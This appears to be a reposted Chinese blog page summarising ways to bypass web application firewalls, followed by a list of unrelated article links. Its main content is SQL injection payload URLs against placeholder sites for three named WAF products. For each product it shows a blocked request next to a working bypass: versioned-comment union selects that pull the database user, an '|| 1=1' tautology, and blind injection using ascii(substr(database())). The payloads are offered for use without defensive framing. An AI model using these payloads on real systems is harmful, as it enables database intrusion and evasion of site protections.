当前位置: 首页 > news >正文

绕WAF手法总结

云锁

被拦截

http://www.test123.com/article.php?id=1%20union%20select%201,2,3

绕过

http://www.test123.com/article.php?id=-1/*!36000union*//*!36000distinct*//*!36000select*/1,2,user()

360websec

被拦截

 http://www.xxx.com.cn/productshow.php?id=79'

绕过

 http://www.xxx.com.cn/productshow.php?id=79%20||%201=1

WTSWAF 

被拦截

 http://www.xxx.com.cn/productshow.php?id=-79%20||%20updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1)

 绕过

http://www.xxx.com.cn/productshow.php?id=-79%20||%20and%20(ascii(substr(database(),1,1))%20=109)

http://www.dtcms.com/a/3279.html

相关文章:

  • 论坛介绍 | COSCon'23 开源文化(GL)
  • 集简云x slack(自建)无需API开发轻松连接OA、电商、营销、CRM、用户运营、推广、客服等近千款系统
  • Leetcode—1488.避免洪水泛滥【中等】
  • ubuntu 18.04 编译安装flexpart 10.4(2023年) —— 筑梦之路
  • 从历史的探索到RFID固定资产管理的未来
  • Linux|安装Nomachine
  • Java排序学习
  • git建仓库小记
  • 运大模型风起云涌,图解AI如何赋能产业升级?
  • 【python爬虫】设计自己的爬虫 1. request封装
  • 不一样的网络协议-------KCP协议
  • 实体店做商城小程序如何
  • vue2+antd——实现动态菜单路由功能——基础积累
  • 通过zookeeper浅谈一致性算法
  • Angular-03:组件模板
  • 使用Python批量修改PPT字体和提取全部文字到word
  • SMART PLC梯形速度曲线轨迹规划(追剪从轴控制)
  • [读论文] On Joint Learning for Solving Placement and Routing in Chip Design
  • 枚举类型 表示不同的 HTTP 状态码和相应的错误消息
  • 如何做好高校后勤管理?有什么好用的高校后勤管理软件?
  • Python Flask
  • leetCode 169. 多数元素 + 摩尔投票法
  • C# 图解教程 第5版 —— 第13章 数组
  • HTTPS协议:保障网络安全的加密通信协议
  • vue 路由懒加载,图片懒加载,组件懒加载
  • Steger算法实现结构光光条中心提取(python版本)
  • 2023.10.28 关于 synchronized 原理
  • Ubuntu编译 PCL 1.13.1 详细流程
  • 嵌入式系统>嵌入式硬件知识
  • OpenText 安全取证软件——降低成本和风险的同时,简化电子取证流程